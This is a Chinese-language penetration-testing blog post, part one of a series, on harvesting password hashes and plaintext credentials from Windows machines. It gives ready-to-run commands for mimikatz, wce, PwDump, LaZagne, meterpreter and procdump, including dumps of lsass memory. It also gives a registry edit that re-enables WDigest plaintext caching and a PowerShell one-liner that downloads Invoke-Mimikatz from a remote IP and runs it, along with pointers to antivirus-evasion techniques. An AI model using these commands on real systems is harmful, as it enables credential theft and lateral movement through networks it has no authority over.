zoukankan      html  css  js  c++  java
  • windows中抓取hash小结(上)

      我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个“前提”-----如何在windows系统中抓hash

    0x01 前言

     事先声明,本文还是暂时不考虑免杀的问题,有些杀软十分变态,针对lsass等关键部位的防护非常好,一有风吹草动立刻报警,绕过方法还有待测试......不过这并不耽误我整理一下小知识点(怒)

     本文中提到的“杀软”只是特指  XX安全软件  这一款安全产品,仅反映当前杀软的一个查杀趋势,不代表所有杀软,毕竟这东西能力有强有弱侧重点也有不同

     先说一下windows系统的身份认证机制

    windows中身份认证机制主要有两种:ntlm 、kerberos。ntlm用于本地和早期工作组环境(lm太老了不讨论),kerberos用于域环境

    其中ntlm应用非常广,既能用于有域环境的认证,也能用于没域环境的认证

    当ntlm用于没域环境的本地认证时:开机调用登录框让你输密码,系统把密码传给lsass.exe进程。lsass把你输入的密码二话不说先在内存中存一份明文的,当把明文密码加密成NTLM hash之后和windows系统本地存储的SAM数据库中这个登录用户的NTLM hash进行对比,如果一致则登录成功

    当ntlm用于有域环境的网络认证时:可以使用kerberos,也可以使用ntlm。这里的ntlm基于一种叫做challenge/response的机制(具体不展开了,网上有讲细节的),这个过程会用到域控中的本地数据库ntds.dit(这里有域用户的ntlm hash)

    可见整个过程都没有明文密码啥事情

    0x02 从SAM或lsass进程中抓取

    SAM在windows路径C:\windowsSystem32config下,是个锁定的不可复制的文件,于是在系统运行的时候经常在内存中找凭证

    1.mimikatz

    啊,这个,就不说了,之前文章演示好多了

    要抓哪台机器就在哪台机器上运行,管理员权限运行

    高版本windows系统(win10、win2012 R2以上版本存在只能抓hash不能抓明文的问题,会显示null,因为系统内存缓存中不再存有明文了)抓取明文存在问题,hash可以

    想要继续抓明文要改注册表:

    命令--------   reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

    对方目标机器再次登录就能用mimikatz抓明文了,但一般来说会把lsass转出来拖回本地来规避杀软,这个后面小点再说

    然而mimikatz不做免杀,基本上就会被杀软直接干掉,秒没

    这里有一个人R1ngk3y 有关mimikatz如何不被杀的一些思路,时间也比较久了,截止今日不知是否都还能用,未经验证仅供参考:https://www.freebuf.com/articles/web/176796.html

    2.getpass

    一个可以直接获得明文密码的工具,年久失修,虽然很多人提过这款工具,但我是没用过的,电脑里也没有(请原谅我的无知)

    3.wce

     啊,简单粗暴

    wce.exe -w  抓明文

    wce.exe -l 抓hash

    下载地址(链接来自看雪)
    http://www.ampliasecurity.com/research/wce_v1_4beta_x32.zip
    http://www.ampliasecurity.com/research/wce_v1_4beta_x64.zip
    http://www.ampliasecurity.com/research/wce_v1_4beta_universal.zip

    4.PwDump7

     

     保证这俩在一个目录下,直接cmd运行

     但是,抓出来的结果一言难尽......直接运行百分百被杀软杀,不运行也可能被杀

     PwDump8

    效果要比PwDump7好得多

     该抓的都抓到了,且没有被杀掉

    5.Quarks PwDump

     

     也是直接cmd运行的

    Quarks PwDump.exe --dump-hash-local 导出本地hash

     效果与PwDump7差不多,也是运行必被杀

    6.powershell

    不做特殊说明,以下脚本都默认会被查杀

    (1)Invoke-Mimikatz.ps1 

    用的是nishang里面带的

    在本地运行

    这个脚本还可以远程加载如:

    powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.25.203/');Invoke-Mimikatz -DumpCreds"

    但是这种动作和行为性质非常恶劣,一定会被杀软查杀的

    于是有了各种各样免杀的手段,特别好玩

    我推荐大佬  Tide重剑无锋   的这篇文章 https://www.freebuf.com/news/234365.html

    (我直呼好家伙,发律师函的怕不是手都发麻了)

    (2)Get-PassHashes.ps1

    powershell IEX (New-Object Net.WebClient).DownloadString('Get-PassHashes.ps1所在路径');Get-PassHashes
    啊,也是从nishang里面捞的

     还行,效果一般

    7.Procdump+mimikatz

     procdump,官方工具(意味着不会被当成病毒杀了),可将lsass.exe转储成dmp文件

    procdump.exe -accepteula -ma lsass.exe lsass.dmp   #32位系统
    procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp #64位系统

    然后用mimikatz读取

    sekurlsa::minidump lsass.dmp

    sekurlsa::logonpasswords full

     

     当然前提还是在目标机上读取的话,要免杀mimikatz,不然就拖回来读取

    8.注册表+mimikatz

    首先在目标机器上执行下图的命令导出三个文件,然后通过shell或者IPC$ copy或者net use共享或者什么办法把这三个文件下载回攻击机

     

     然后在本地上就可以用mimikatz来读取这三个文件了

     至于去破解还是去干嘛就随意了

    9.LaZagne

    基于py,密码抓取神器,能一键提取各种密码:浏览器、git、WiFi......

    这东西本身是py的,也有exe格式的

    下载链接:https://github.com/AlessandroZ/LaZagne

    https://github.com/AlessandroZ/LaZagne/releases/tag/2.4.3

    个人觉得还是exe的好用,py的需要安一堆依赖

    pip install -r requirements.txt

     运行权限越高可能抓到的密码就越多

    非常强悍,看得我后背发凉(还顺便找到了几个我自己都忘了是啥的密码)真就是啥都能抓到,既有hash也有明文糊脸

    (另:cmd窗体的结果如果看不全的话,把屏幕缓冲区大小调大即可)

    LaZagne有很多功能,详细命令网上有,不列举了

    但同样的问题,就是免杀,我本机上XX安全软件没有报警不意味着这个工具就是直接可用的

    10.框架调用

     msf中获得meterpreter后,在meterpreter>load mimikatz之后msv可获取hash(具体例子可以去翻我的第一篇博客,有关域渗透小实验的那个)

    先提个权getsystem

    msv     获取hash

    kerberos   获取明文

    mimikatz_command -f samdump::hashs   获取hash

    mimikatz_command -f sekurlsa::searchPasswords   获取明文

     

     这只是理论上的,实际上可能因为各种原因,失败抓不到也很正常......

    或者调用smart_hashdump脚本

    run windows/gather/smart_hashdump

     效果会好一些

     另外,cobalt strike与Empire中也能调用mimikatz,这个找机会讲到这俩的时候再说吧

    11.SqlDumper

    又一个微软的东西,SQLserver2000以上自带,作用就是将应用程序转储成dump文件

    我手中没有MSSQL环境了,无法演示了,大致过程如下:

    先在目标机器中找lsass的PID号

    然后把这个号带入 sqldumper.exe ProcessID 0 0x01100   这个语句中执行

    会导出一个mdmp文件,下载回本地mimikatz解析

    (写着写着刹不住车了,太长了影响观感。剩下内容就留到    windows中抓取hash小结(下) 中了)

     请转到windows中抓取hash小结(下)

    指路链接   https://www.cnblogs.com/lcxblogs/p/14002468.html

    随便转载,请标明作者出处

  • 相关阅读:
    bzoj1415 NOI2005聪聪和可可
    Tyvj1952 Easy
    poj2096 Collecting Bugs
    COGS 1489玩纸牌
    COGS1487 麻球繁衍
    cf 261B.Maxim and Restaurant
    cf 223B.Two Strings
    cf 609E.Minimum spanning tree for each edge
    cf 187B.AlgoRace
    cf 760B.Frodo and pillows
  • 原文地址:https://www.cnblogs.com/lcxblogs/p/13957899.html
Copyright © 2011-2022 走看看